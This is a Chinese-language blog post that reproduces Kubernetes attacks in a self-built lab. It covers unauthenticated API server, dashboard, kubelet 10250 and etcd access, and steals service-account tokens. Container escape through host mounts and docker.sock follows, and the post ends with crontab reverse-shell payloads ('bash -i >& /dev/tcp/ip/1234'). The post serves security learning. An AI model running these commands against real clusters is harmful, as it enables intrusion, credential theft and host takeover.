web

k8s安装及部分漏洞复现

noob
2022-05-09 / 0 评论 / 812 阅读 / 正在检测是否收录...
k8s安装

环境

Ubuntu 20.04 LTS x64
工具:metarget

安装docker:curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
l2yaneva.png
安装metarget:

git clone https://github.com/Metarget/metarget.git
cd metarget/ 
pip3 install -r requirements.txt

此时可以安装任意版本k8s,我们安装1.16.5版本: ./metarget gadget install k8s --version=1.16.5
l2yaq1v4.png
l2ybf4ax.png
l2ybfkwk.png

Kubernetes API Server未授权访问

列举下Kubernetes组件的一些服务及默认端口:

组件默认端口说明
APIServer6443基于HTTPS的安全端口
APIServer8080不安全的HTTP端口,不建议启用
Kubelet10248用于检查Kubelet健康状态的HTTP端口
Kubelet10250面向API Server提供服务的HTTPS端口
Dashboard8001提供HTTP服务的端口
etcd2379客户端与服务端之间通信的端口
etcd2380不同服务端实例之间通信的端口

首先是8080端口的位置,默认情况下,6443端口支持认证和授权服务,但8080端口是没有的,不过较新版本的Kubernets中8080默认不启动,cat /etc/kubernetes/manifests/kube-apiserver.yaml即可查看当前配置
l2yb91sc.png
将其修改为- --insecure-port=8080,并添加- --insecure-bind-address=0.0.0.0,重启服务(systemctl restart kubelet),即可开启8080端口的HTTP服务,如果是在云服务器进行测试的话,建议开放所有端口方便复现

iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables-save

此时访问如图:
l2ybi7n5.png
l2ybind2.png
l2ybphv0.png

执行命令 通过kubectl -s命令

创建pods

kubectl run n00bk1ng --image=nginx --port=1112

查看pods

kubectl -s 127.0.0.1:8080 get pods

l30wo17m.png
进入容器直接执行命令:
l30wuyuh.png

获取service-account-token

访问/api/v1/namespaces/kube-system/secrets/
l2ybwx8m.png

获取宿主机权限-通过k8s dashboard,创建特权Pods

Kubernets Dashboard是基于Web的Kubernets用户界面,可以利用他来在集群中部署、调试容器化应用,或者管理集群资源,也就是获取集群中应用运行状态的概览,创建活修改Kubernets资源。安装Dashboard:wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
l2yciuqv.png
下载后进行修改

- --enable-skip-login
- -- insecure-bind-address=0.0.0.0
 kubectl apply -f recommended.yaml

l2ycs8bg.png
l2ycu101.png

wget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml
kubectl apply -f insecure-kubernetes-dashboard.yml
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard  9090:80
或者
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80

l2ycwh73.png
l2ycx88d.png
l2yd2lpu.png
新建account.yaml,写入一个新账号:


# Creating a Service Account
apiVersion: v1
kind: ServiceAccount
metadata:  
  name: admin-user  
  namespace: kubernetes-dashboard

---
# Creating a ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: admin-user
roleRef:
  apiGroup: rbac.authorization.k8s.io  
  kind: ClusterRole  
  name: cluster-admin
subjects:
- kind: ServiceAccount  
  name: admin-user  
  namespace: kubernetes-dashboard

然后kubectl apply -f account.yaml,新建成功后,获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"
l2yep8x1.png
出现不安全的访问,使用kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443,但是我这里一直连接重置,就没再继续下去

关于443端口转发问题的解决

上述问题出现后,本质问题是需要访问https服务,于是,我重新开始。

wget  https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommended.yaml
kubectl apply -frecommended.yaml

apply之后,可以看到是ClusterIp,于是下一步要进行设置
l3849gsv.png

# 创建dashboard-ingress.yaml文件,用来指向一个域名
vim dashboard-ingress.yaml

# 文件内容
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/backend-protocol: HTTPS
    nginx.ingress.kubernetes.io/configuration-snippet: |-
      proxy_ssl_server_name on;
      proxy_ssl_name $host;
spec:
  rules:
  - host:这里写你的域名
    http:
      paths:
      - path: /
        backend:
          serviceName: kubernetes-dashboard
          servicePort: 443

# apply文件
kubectl apply -f dashboard-ingress.yaml

此时可以访问你的host地址发现未成功,因为还没有设置NonePort已经端口转发的地址
l384ebrg.png
l384ezct.png

# 新建一个recommend.yaml文件,用来设置管理员并定义角色端口
vim recommend.yaml

# recommend.yaml文件内容
kind: Service
apiVersion: v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
spec:
  type: NodePort #新增的
  ports:
    - port: 443
      targetPort: 8443
      nodePort: 32000 # 新增的,此端口与NodePort不要写一样
  selector:
    k8s-app: kubernetes-dashboard

# apply文件
kubectl apply -f recommend.yaml

配置完成后,访问此处新增的32000端口,如图:
l384o3wd.png
l384fdtx.png
问题解决
l384ojmr.png
获取token:kubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/kubernetes-dashboard -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"
l3852waf.png
但是这里还是不能获取权限,于是我去搜了下,显示有超级用户才可以,于是去找超级用户(cluster-admin),参考链接:【深入分析】Kubernetes RBAC角色权限控制

# 新建admin.yaml
apiVersion: v1
kind: ServiceAccount
metadata:
  name: dashboard-admin
  namespace: kube-system
---
kind: ClusterRoleBinding
apiVersion: rbac.authorization.k8s.io/v1beta1
metadata:
  name: dashboard-admin
subjects:
  - kind: ServiceAccount
    name: dashboard-admin
    namespace: kube-system
roleRef:
  kind: ClusterRole
  name: cluster-admin
  apiGroup: rbac.authorization.k8s.io

# apply文件
kubectl apply -f admin.yaml
# 查看对应的用户名
kubectl describe sa -n kube-system dashboard-admin
# 获取token
kubectl describe secret dashboard-admin-token-np46j -n kube-system

成功获取token
l387nz1p.png
将根目录挂载到/mnt下
l387p7v2.png
成功挂载
l387ome9.png
在/mnt目录下看到宿主机目录
l387w8s6.png
使用chroot获取权限
l387xv3l.png
读文件,执行命令
l387rpz2.png
反弹shell
l387ujak.png
l387uqsl.png

6443端口-system:anonymous错误配置

将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令,未设置时进行访问:
l310z0oa.png
修改配置:kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous
l31101th.png
拼接访问namespace
l31130ps.png
拼接访问默认namespace的pods:/api/v1/namespaces/default/pods
l3113goh.png
获取token:/api/v1/namespaces/kube-system/secrets/
l3115tht.png
l3116n2d.png

k8s kubelet 10250端口未授权

访问端口提示404,访问pods路径提示未授权401
修改配置,在/var/lib/kubelet/config.yaml中修改:
l311maey.png
重启systemctl restart kubelet
l311nc1z.png

执行命令

curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"

需要namespace、pod、container三个参数,在https://ip:10250/runningpods/中可以找到
l311sqmc.png
但是我在刚才的pods中同样可以看到
l311to6f.png
个人猜测是runningpods的都是正在运行的,而pods里不一定是
此时执行命令:
l3121cs2.png

获取凭证

curl -XPOST -k https://{ip}}:10250/run/default/n00bk1ng-567cb46757-lcnds/n00bk1ng -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

原理:一个 pod 与一个服务账户相关联,该服务账户的凭证(token)被放入该pod中每个容器的文件系统树,在 /var/run/secrets/kubernetes.io/serviceaccount/token。如果服务账号(Service account )绑定了 cluster-admin (即集群的 admin 权限我们可以对所有namespace下实例进行操作) ,那么我们就可以通过 token 来进行一系列的操作
l3126ye5.png
可以直接访问dashboard
l3878q93.png

etcd未授权

未指定--client-cert-auth参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害
修改配置文件:/etc/kubernetes/manifests/etcd.yaml
l39jaqm7.png
正常访问:
l31bfan3.png
此时就需要利用证书进行访问,然后就是证书泄露

证书泄露

安装etcd-client:apt install etcd-client

export ETCDCTL_API=3
export ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crt 
export ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crt              
export ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

查看证书:etcdctl --endpoints=https://127.0.0.1:2379/ get / --prefix --keys-only
l31ceaw0.png
获取token路径:etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clusterrole
l31ciyxf.png
然后获取token:etcdctl --endpoints=https://127.0.0.1:2379/ get {证书路径}
l31ckyon.png
然后带着token获取集群权限:kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods
l31cqdlh.png

挂载docker.sock

大佬说的:
/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。

另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。

Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

安装docker

首先创建一个docker容器:docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04
l31fmbkq.png
再在容器中安装docker:

# ubuntu 18.04安装
dockersudo apt-get update
# 安装依赖包
sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https:# download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
sudo apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
sudo apt-get update
# 安装最新的Docker-ce
sudo apt-get install docker-ce
# 启动
sudo systemctl enable docker
sudo systemctl start docker

l31fng6z.png
这时已经可以从容器docker ps中看到宿主机的容器了

容器逃逸

将宿主机的根目录挂载到容器中

docker run -it -v /:/root ubuntu:18.04 /bin/bash
chroot root

l31fpyxj.png
拿下!

反弹shell

通过修改crontab定时任务来反弹shell

crontab -e
* * * * * /bin/bash -i >& /dev/tcp/ip/123 0>&1 

但是,没弹成功,于是就去找原因,后来发现Ubuntu需要满足其他条件,比如/var/spool/cron/crontabs/root的权限一定得是600,也就是rw-------,其次是反弹shell的命令需要修改一下,改为*/1 * * * * bash -c "bash -i >&/dev/tcp/ip/1234 0>&1",这里和/bin/bash找不到有关,不过我用/bin/sh也没有成功,还是得用bash,最后payload:

crontab -e
*/1 * * * *  bash -c "bash -i  >&/dev/tcp/ip/1234 0>&1"

l31okcuu.png
解决文章放在参考链接中了。

总结

第一次搞k8s,跟着大佬的文章做了多天的复现,最后虽然还是有一些遗留问题,但是后面一定回回头解决,学到了很多k8s的知识,熟悉了kubectl的命令,了解了k8s配置文件中一些重要的配置,还第一次尝试了容器逃逸...很遗憾没接触到dashboard,不过后面一定回来补充,感谢年少有为师傅的文章,受益匪浅。

参考链接:
浅析K8S各种未授权攻击方法
解决ubuntu crontab反弹shell失败的问题
云原生安全:攻防实践与体系构建
k8s-Service
k8s安装步骤(1.22.0版本)
k8s 安装dashboard
(k8s教程-2)安装kubernetes-dashboard
【深入分析】Kubernetes RBAC角色权限控制
etcd v3使用方法

2

评论 (0)

取消